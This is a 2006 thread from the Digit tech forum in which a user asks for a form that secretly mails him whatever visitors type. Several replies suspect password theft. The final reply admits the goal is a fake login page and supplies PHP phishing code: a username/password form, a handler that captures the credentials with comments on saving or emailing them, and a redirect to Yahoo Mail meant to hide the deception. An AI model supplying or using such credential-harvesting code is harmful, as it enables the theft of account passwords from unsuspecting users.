Forum     

Go Back   Digit Technology Discussion Forum > Portables, Peripherals and Electronics > QnA (read only)
Register FAQ Calendar Mark Forums Read

QnA (read only) Mods please help transfer the contents of this forum to proper sections. :)


 
 
LinkBack Thread Tools Search this Thread Display Modes
Old 16-12-2006, 03:04 PM   #1 (permalink)
Ron
||uLtiMaTE WinNER||
 
Ron's Avatar
 
Join Date: Nov 2006
Location: Kathmandu,Nepal
Posts: 698
Default Need a code...


Hey frens,
Can I get the code that generates the form in which when the user clicks the submit button than that form with the input entered by the user is automatically mailed to me … without letting the user to know that those entries are mailed to me or any one.
Ron
Ron is offline  
Advertisements. Register and be a member of the community to get rid of them.
Advertisement

Old 16-12-2006, 11:20 PM   #2 (permalink)
Rebooting
 
Choto Cheeta's Avatar
 
Join Date: Aug 2004
Location: 220.225.82.33
Posts: 6,266
Default Re: Need a code...

ohh !! the technology is called contact us form... try searching the forum.. as there are few..

here is one...

Help with Code

now u have to modify the codes according to ur needs...

but what u want doesnt seems good to me stealing information is not a good idea...
__________________
rebooting
ChotoCheeta.com
Choto Cheeta is offline  
Old 17-12-2006, 01:12 AM   #3 (permalink)
SE><IE
Guest
 
Posts: n/a
Default Re: Need a code...

Pharming??
 
Old 17-12-2006, 01:34 AM   #4 (permalink)
Super Hero - Super Powers
 
n2casey's Avatar
 
Join Date: Sep 2006
Location: Dynamic
Posts: 766
Default Re: Need a code...

As I think, he wants to steal someone's password or such thing like that.
It's a bad work. Isn't it?
__________________
Minds are like Parachutes :arrow: They work best when open
n2casey is offline  
Old 17-12-2006, 01:42 AM   #5 (permalink)
Broken In
 
anilmail17's Avatar
 
Join Date: Aug 2004
Location: 127.0.0.1
Posts: 149
Default Re: Need a code...

I know u want to use this for creating a fake login page but still i m going to help. I knw this is not right place for such things, leave it yaar U below is just a sample code for u in php
index.php or any login page
PHP Code:
<form action="getdata.php" method="post" autocomplete="OFF">
username:<input type="text" name="username" size=50><br>
password:<input type="password" name="pass" size=50 maxlength=30>
</
form
getdata.php
PHP Code:
<?php
$usrname
=$_POST["username"];
$pass=$_POST["pass"];
// now use these data as u want u want to use them. Store this data
// either in text file or u can send them imediately to ur email but that
// will be risky or u can store this data in database
// for file use fopen(filename,fileaccessmethod)
// for email use mail function i dont know the actuall prototype but u can
// get it from net
// or use mysql_query("INSERT INTO TABLENAME values $usrname, $pass");

//move to actuall page so user think that this page was not a fake page
//a ignore this as a error
header("location: http://www.yahoomail.com");
?>
anilmail17 is offline  
 

Bookmarks

Thread Tools Search this Thread
Search this Thread:

Advanced Search
Display Modes

Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

BB code is On
Smilies are On
[IMG] code is On
HTML code is Off
Trackbacks are On
Pingbacks are On
Refbacks are On


 
Latest Threads
- by Tenida
- by Charan
- by abhidev
- by Sujeet
- by Sarath

Advertisement




All times are GMT +5.5. The time now is 09:31 AM.


Powered by vBulletin® Version 3.8.7
Copyright ©2000 - 2012, vBulletin Solutions, Inc.

Search Engine Optimization by vBSEO 3.3.2